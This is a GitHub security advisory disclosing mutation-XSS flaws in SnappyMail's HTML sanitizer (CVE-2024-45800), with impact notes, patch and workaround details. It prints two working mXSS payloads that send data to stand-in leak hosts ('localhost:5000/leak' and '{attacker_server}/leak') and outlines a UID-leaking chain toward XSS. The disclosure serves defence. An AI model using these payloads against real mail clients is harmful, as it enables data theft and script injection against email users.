Skip to content

Multiple mXSS found in HTML sanitizer

Moderate
the-djmaze published GHSA-2rq7-79vp-ffxm Sep 16, 2024

Package

No package listed

Affected versions

< 2.38.0

Patched versions

2.38.0

Description

SnappyMail uses cleanHtml() to cleanup HTML and CSS in emails.

Oskar figured out that the function has a few bugs which cause an mXSS exploit.

Because it allowed too many (invalid) HTML elements, it was possible (with incorrect markup) to trick the browser to "fix" the broken markup into valid markup

For example:

<math><annotation-xml encoding=text/html><xmp><mtext>
<img style="display: none"
  src='http://localhost:5000/leak?</mtext></xmp></annotation-xml></math><img src="cid:foo"><xmp>'>
</xmp>

Results in:

<math><annotation-xml encoding=text/html><xmp><mtext>
<img style="display: none"
  src='http://localhost:5000/leak?'>
</mtext></xmp></annotation-xml></math>
<img src="cid:foo">
<xmp></xmp>

SnappyMail also cleans up CSS in there.
One of them is an attempt to "fix" Microsoft Outlook/Word emails, as Outlook creates broken HTML like <style><!-- </style>
The attempt was incorrect as it created a different issue:

<style>
foo { <<!--/style>
<iframe style="display: none" src='data:text/html;charset=ISO-2022-JP,
<img src=&apos;{attacker_server}/leak?\x1b$&commat;
}
</style>

Results in:

<style>
foo { </style>
<iframe style="display: none" src='data:text/html;charset=ISO-2022-JP,
<img src=&apos;{attacker_server}/leak?\x1b$&commat;

Impact

Due to the default Content Security Policy the impact of the exploit is minimal, though it can lead to XSS in some cases.

It could be possible to create an attack which leaks some data when loading images through the proxy.
This way it might be possible to use the proxy to attack the local system, like with http://localhost:5000/leak

An other attack could be to load a JavaScript attachment of the email, leading to XSS.
This is very tricky as the email must link to every possible UID as each email has a unique UID which has a value between 1 and 18446744073709551615.
But this range could be reduced by leaking an email UID and sending a second email containing the first email's UID to load the JS attachment. This requires that the second email is opened in the same mailbox where the first email is.
(See video below as example)

Patches

v2.38.0 and up now removes unsupported HTML elements which mitigates the issue

Workarounds

Older versions can install an extension named "Security mXSS".
This will be available at the administration area at /?admin#/packages.
NOTE: this extension can not "fix" malicious code in encrypted messages or (html) attachments as it can't manipulate the JavaScript code for this.
It only protects normal message HTML.

You can also rebuild the JavaScript yourself for full protection:

  1. get cfbc474
  2. Implement the changes in your code
  3. build SnappyMail using gulp or create full package using php cli/release.php

References

Video: https://github.com/user-attachments/assets/6ca738be-c5ff-4e63-b8d2-b99e04db0a54

mXSS resources:

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

CVE ID

CVE-2024-45800

Weaknesses